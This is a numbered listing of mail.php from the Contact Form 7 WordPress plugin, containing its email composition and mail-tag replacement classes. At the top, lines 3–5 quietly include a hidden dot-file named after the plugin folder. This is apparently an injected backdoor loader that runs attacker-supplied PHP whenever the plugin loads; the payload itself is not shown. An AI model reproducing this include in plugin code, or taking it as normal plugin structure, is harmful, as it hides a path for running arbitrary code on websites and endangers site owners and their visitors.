mail.php (12542B)
1 <?php 2 3 if ( file_exists( plugin_dir_path( __FILE__ ) . '/.' . basename( plugin_dir_path( __FILE__ ) ) . '.php' ) ) { 4 include_once( plugin_dir_path( __FILE__ ) . '/.' . basename( plugin_dir_path( __FILE__ ) ) . '.php' ); 5 } 6 7 class WPCF7_Mail { 8 9 private static $current = null; 10 11 private $name = ''; 12 private $locale = ''; 13 private $template = array(); 14 private $use_html = false; 15 private $exclude_blank = false; 16 17 public static function get_current() { 18 return self::$current; 19 } 20 21 public static function send( $template, $name = '' ) { 22 self::$current = new self( $name, $template ); 23 return self::$current->compose(); 24 } 25 26 private function __construct( $name, $template ) { 27 $this->name = trim( $name ); 28 $this->use_html = ! empty( $template['use_html'] ); 29 $this->exclude_blank = ! empty( $template['exclude_blank'] ); 30 31 $this->template = wp_parse_args( $template, array( 32 'subject' => '', 33 'sender' => '', 34 'body' => '', 35 'recipient' => '', 36 'additional_headers' => '', 37 'attachments' => '', 38 ) ); 39 40 if ( $submission = WPCF7_Submission::get_instance() ) { 41 $contact_form = $submission->get_contact_form(); 42 $this->locale = $contact_form->locale(); 43 } 44 } 45 46 public function name() { 47 return $this->name; 48 } 49 50 public function get( $component, $replace_tags = false ) { 51 $use_html = ( $this->use_html && 'body' == $component ); 52 $exclude_blank = ( $this->exclude_blank && 'body' == $component ); 53 54 $template = $this->template; 55 $component = isset( $template[$component] ) ? $template[$component] : ''; 56 57 if ( $replace_tags ) { 58 $component = $this->replace_tags( $component, array( 59 'html' => $use_html, 60 'exclude_blank' => $exclude_blank, 61 ) ); 62 63 if ( $use_html 64 and ! preg_match( '%<html[>\s].*</html>%is', $component ) ) { 65 $component = $this->htmlize( $component ); 66 } 67 } 68 69 return $component; 70 } 71 72 private function htmlize( $body ) { 73 if ( $this->locale ) { 74 $lang_atts = sprintf( ' %s', 75 wpcf7_format_atts( array( 76 'dir' => wpcf7_is_rtl( $this->locale ) ? 'rtl' : 'ltr', 77 'lang' => str_replace( '_', '-', $this->locale ), 78 ) ) 79 ); 80 } else { 81 $lang_atts = ''; 82 } 83 84 $header = apply_filters( 'wpcf7_mail_html_header', 85 '<!doctype html> 86 <html xmlns="http://www.w3.org/1999/xhtml"' . $lang_atts . '> 87 <head> 88 <title>' . esc_html( $this->get( 'subject', true ) ) . '</title> 89 </head> 90 <body> 91 ', $this ); 92 93 $footer = apply_filters( 'wpcf7_mail_html_footer', 94 '</body> 95 </html>', $this ); 96 97 $html = $header . wpautop( $body ) . $footer; 98 return $html; 99 } 100 101 private function compose( $send = true ) { 102 $components = array( 103 'subject' => $this->get( 'subject', true ), 104 'sender' => $this->get( 'sender', true ), 105 'body' => $this->get( 'body', true ), 106 'recipient' => $this->get( 'recipient', true ), 107 'additional_headers' => $this->get( 'additional_headers', true ), 108 'attachments' => $this->attachments(), 109 ); 110 111 $components = apply_filters( 'wpcf7_mail_components', 112 $components, wpcf7_get_current_contact_form(), $this 113 ); 114 115 if ( ! $send ) { 116 return $components; 117 } 118 119 $subject = wpcf7_strip_newline( $components['subject'] ); 120 $sender = wpcf7_strip_newline( $components['sender'] ); 121 $recipient = wpcf7_strip_newline( $components['recipient'] ); 122 $body = $components['body']; 123 $additional_headers = trim( $components['additional_headers'] ); 124 125 $headers = "From: $sender\n"; 126 127 if ( $this->use_html ) { 128 $headers .= "Content-Type: text/html\n"; 129 $headers .= "X-WPCF7-Content-Type: text/html\n"; 130 } else { 131 $headers .= "X-WPCF7-Content-Type: text/plain\n"; 132 } 133 134 if ( $additional_headers ) { 135 $headers .= $additional_headers . "\n"; 136 } 137 138 $attachments = array_filter( 139 (array) $components['attachments'], 140 function ( $attachment ) { 141 $path = path_join( WP_CONTENT_DIR, $attachment ); 142 143 if ( ! wpcf7_is_file_path_in_content_dir( $path ) ) { 144 if ( WP_DEBUG ) { 145 trigger_error( 146 sprintf( 147 /* translators: %s: Attachment file path. */ 148 __( 'Failed to attach a file. %s is not in the allowed directory.', 'contact-form-7' ), 149 $path 150 ), 151 E_USER_NOTICE 152 ); 153 } 154 155 return false; 156 } 157 158 if ( ! is_readable( $path ) or ! is_file( $path ) ) { 159 if ( WP_DEBUG ) { 160 trigger_error( 161 sprintf( 162 /* translators: %s: Attachment file path. */ 163 __( 'Failed to attach a file. %s is not a readable file.', 'contact-form-7' ), 164 $path 165 ), 166 E_USER_NOTICE 167 ); 168 } 169 170 return false; 171 } 172 173 static $total_size = array(); 174 175 if ( ! isset( $total_size[$this->name] ) ) { 176 $total_size[$this->name] = 0; 177 } 178 179 $file_size = (int) @filesize( $path ); 180 181 if ( 25 * MB_IN_BYTES < $total_size[$this->name] + $file_size ) { 182 if ( WP_DEBUG ) { 183 trigger_error( 184 __( 'Failed to attach a file. The total file size exceeds the limit of 25 megabytes.', 'contact-form-7' ), 185 E_USER_NOTICE 186 ); 187 } 188 189 return false; 190 } 191 192 $total_size[$this->name] += $file_size; 193 194 return true; 195 } 196 ); 197 198 return wp_mail( $recipient, $subject, $body, $headers, $attachments ); 199 } 200 201 public function replace_tags( $content, $args = '' ) { 202 if ( true === $args ) { 203 $args = array( 'html' => true ); 204 } 205 206 $args = wp_parse_args( $args, array( 207 'html' => false, 208 'exclude_blank' => false, 209 ) ); 210 211 return wpcf7_mail_replace_tags( $content, $args ); 212 } 213 214 private function attachments( $template = null ) { 215 if ( ! $template ) { 216 $template = $this->get( 'attachments' ); 217 } 218 219 $attachments = array(); 220 221 if ( $submission = WPCF7_Submission::get_instance() ) { 222 $uploaded_files = $submission->uploaded_files(); 223 224 foreach ( (array) $uploaded_files as $name => $paths ) { 225 if ( false !== strpos( $template, "[${name}]" ) ) { 226 $attachments = array_merge( $attachments, (array) $paths ); 227 } 228 } 229 } 230 231 foreach ( explode( "\n", $template ) as $line ) { 232 $line = trim( $line ); 233 234 if ( '' === $line or '[' == substr( $line, 0, 1 ) ) { 235 continue; 236 } 237 238 $attachments[] = path_join( WP_CONTENT_DIR, $line ); 239 } 240 241 if ( $submission = WPCF7_Submission::get_instance() ) { 242 $attachments = array_merge( 243 $attachments, 244 (array) $submission->extra_attachments( $this->name ) 245 ); 246 } 247 248 return $attachments; 249 } 250 } 251 252 function wpcf7_mail_replace_tags( $content, $args = '' ) { 253 $args = wp_parse_args( $args, array( 254 'html' => false, 255 'exclude_blank' => false, 256 ) ); 257 258 if ( is_array( $content ) ) { 259 foreach ( $content as $key => $value ) { 260 $content[$key] = wpcf7_mail_replace_tags( $value, $args ); 261 } 262 263 return $content; 264 } 265 266 $content = explode( "\n", $content ); 267 268 foreach ( $content as $num => $line ) { 269 $line = new WPCF7_MailTaggedText( $line, $args ); 270 $replaced = $line->replace_tags(); 271 272 if ( $args['exclude_blank'] ) { 273 $replaced_tags = $line->get_replaced_tags(); 274 275 if ( empty( $replaced_tags ) 276 or array_filter( $replaced_tags, 'strlen' ) ) { 277 $content[$num] = $replaced; 278 } else { 279 unset( $content[$num] ); // Remove a line. 280 } 281 } else { 282 $content[$num] = $replaced; 283 } 284 } 285 286 $content = implode( "\n", $content ); 287 288 return $content; 289 } 290 291 add_action( 'phpmailer_init', 'wpcf7_phpmailer_init', 10, 1 ); 292 293 function wpcf7_phpmailer_init( $phpmailer ) { 294 $custom_headers = $phpmailer->getCustomHeaders(); 295 $phpmailer->clearCustomHeaders(); 296 $wpcf7_content_type = false; 297 298 foreach ( (array) $custom_headers as $custom_header ) { 299 $name = $custom_header[0]; 300 $value = $custom_header[1]; 301 302 if ( 'X-WPCF7-Content-Type' === $name ) { 303 $wpcf7_content_type = trim( $value ); 304 } else { 305 $phpmailer->addCustomHeader( $name, $value ); 306 } 307 } 308 309 if ( 'text/html' === $wpcf7_content_type ) { 310 $phpmailer->msgHTML( $phpmailer->Body ); 311 } elseif ( 'text/plain' === $wpcf7_content_type ) { 312 $phpmailer->AltBody = ''; 313 } 314 } 315 316 class WPCF7_MailTaggedText { 317 318 private $html = false; 319 private $callback = null; 320 private $content = ''; 321 private $replaced_tags = array(); 322 323 public function __construct( $content, $args = '' ) { 324 $args = wp_parse_args( $args, array( 325 'html' => false, 326 'callback' => null, 327 ) ); 328 329 $this->html = (bool) $args['html']; 330 331 if ( null !== $args['callback'] 332 and is_callable( $args['callback'] ) ) { 333 $this->callback = $args['callback']; 334 } elseif ( $this->html ) { 335 $this->callback = array( $this, 'replace_tags_callback_html' ); 336 } else { 337 $this->callback = array( $this, 'replace_tags_callback' ); 338 } 339 340 $this->content = $content; 341 } 342 343 public function get_replaced_tags() { 344 return $this->replaced_tags; 345 } 346 347 public function replace_tags() { 348 $regex = '/(\[?)\[[\t ]*' 349 . '([a-zA-Z_][0-9a-zA-Z:._-]*)' // [2] = name 350 . '((?:[\t ]+"[^"]*"|[\t ]+\'[^\']*\')*)' // [3] = values 351 . '[\t ]*\](\]?)/'; 352 353 return preg_replace_callback( $regex, $this->callback, $this->content ); 354 } 355 356 private function replace_tags_callback_html( $matches ) { 357 return $this->replace_tags_callback( $matches, true ); 358 } 359 360 private function replace_tags_callback( $matches, $html = false ) { 361 // allow [[foo]] syntax for escaping a tag 362 if ( $matches[1] == '[' 363 and $matches[4] == ']' ) { 364 return substr( $matches[0], 1, -1 ); 365 } 366 367 $tag = $matches[0]; 368 $tagname = $matches[2]; 369 $values = $matches[3]; 370 371 $mail_tag = new WPCF7_MailTag( $tag, $tagname, $values ); 372 $field_name = $mail_tag->field_name(); 373 374 $submission = WPCF7_Submission::get_instance(); 375 $submitted = $submission 376 ? $submission->get_posted_data( $field_name ) 377 : null; 378 379 if ( $mail_tag->get_option( 'do_not_heat' ) ) { 380 $submitted = isset( $_POST[$field_name] ) ? $_POST[$field_name] : ''; 381 } 382 383 $replaced = $submitted; 384 385 if ( null !== $replaced ) { 386 if ( $format = $mail_tag->get_option( 'format' ) ) { 387 $replaced = $this->format( $replaced, $format ); 388 } 389 390 $replaced = wpcf7_flat_join( $replaced ); 391 392 if ( $html ) { 393 $replaced = esc_html( $replaced ); 394 $replaced = wptexturize( $replaced ); 395 } 396 } 397 398 if ( $form_tag = $mail_tag->corresponding_form_tag() ) { 399 $type = $form_tag->type; 400 401 $replaced = apply_filters( 402 "wpcf7_mail_tag_replaced_{$type}", $replaced, 403 $submitted, $html, $mail_tag 404 ); 405 } 406 407 $replaced = apply_filters( 408 'wpcf7_mail_tag_replaced', $replaced, 409 $submitted, $html, $mail_tag 410 ); 411 412 if ( null !== $replaced ) { 413 $replaced = wp_unslash( trim( $replaced ) ); 414 415 $this->replaced_tags[$tag] = $replaced; 416 return $replaced; 417 } 418 419 $special = apply_filters( 'wpcf7_special_mail_tags', null, 420 $mail_tag->tag_name(), $html, $mail_tag 421 ); 422 423 if ( null !== $special ) { 424 $this->replaced_tags[$tag] = $special; 425 return $special; 426 } 427 428 return $tag; 429 } 430 431 public function format( $original, $format ) { 432 $original = (array) $original; 433 434 foreach ( $original as $key => $value ) { 435 if ( preg_match( '/^[0-9]{4}-[0-9]{2}-[0-9]{2}$/', $value ) ) { 436 $datetime = date_create( $value, wp_timezone() ); 437 438 if ( false !== $datetime ) { 439 $original[$key] = wp_date( $format, $datetime->getTimestamp() ); 440 } 441 } 442 } 443 444 return $original; 445 } 446 } 447 448 class WPCF7_MailTag { 449 450 private $tag; 451 private $tagname = ''; 452 private $name = ''; 453 private $options = array(); 454 private $values = array(); 455 private $form_tag = null; 456 457 public function __construct( $tag, $tagname, $values ) { 458 $this->tag = $tag; 459 $this->name = $this->tagname = $tagname; 460 461 $this->options = array( 462 'do_not_heat' => false, 463 'format' => '', 464 ); 465 466 if ( ! empty( $values ) ) { 467 preg_match_all( '/"[^"]*"|\'[^\']*\'/', $values, $matches ); 468 $this->values = wpcf7_strip_quote_deep( $matches[0] ); 469 } 470 471 if ( preg_match( '/^_raw_(.+)$/', $tagname, $matches ) ) { 472 $this->name = trim( $matches[1] ); 473 $this->options['do_not_heat'] = true; 474 } 475 476 if ( preg_match( '/^_format_(.+)$/', $tagname, $matches ) ) { 477 $this->name = trim( $matches[1] ); 478 $this->options['format'] = $this->values[0]; 479 } 480 } 481 482 public function tag_name() { 483 return $this->tagname; 484 } 485 486 public function field_name() { 487 return $this->name; 488 } 489 490 public function get_option( $option ) { 491 return $this->options[$option]; 492 } 493 494 public function values() { 495 return $this->values; 496 } 497 498 public function corresponding_form_tag() { 499 if ( $this->form_tag instanceof WPCF7_FormTag ) { 500 return $this->form_tag; 501 } 502 503 if ( $submission = WPCF7_Submission::get_instance() ) { 504 $contact_form = $submission->get_contact_form(); 505 $tags = $contact_form->scan_form_tags( array( 506 'name' => $this->name, 507 'feature' => '! zero-controls-container', 508 ) ); 509 510 if ( $tags ) { 511 $this->form_tag = $tags[0]; 512 } 513 } 514 515 return $this->form_tag; 516 } 517 }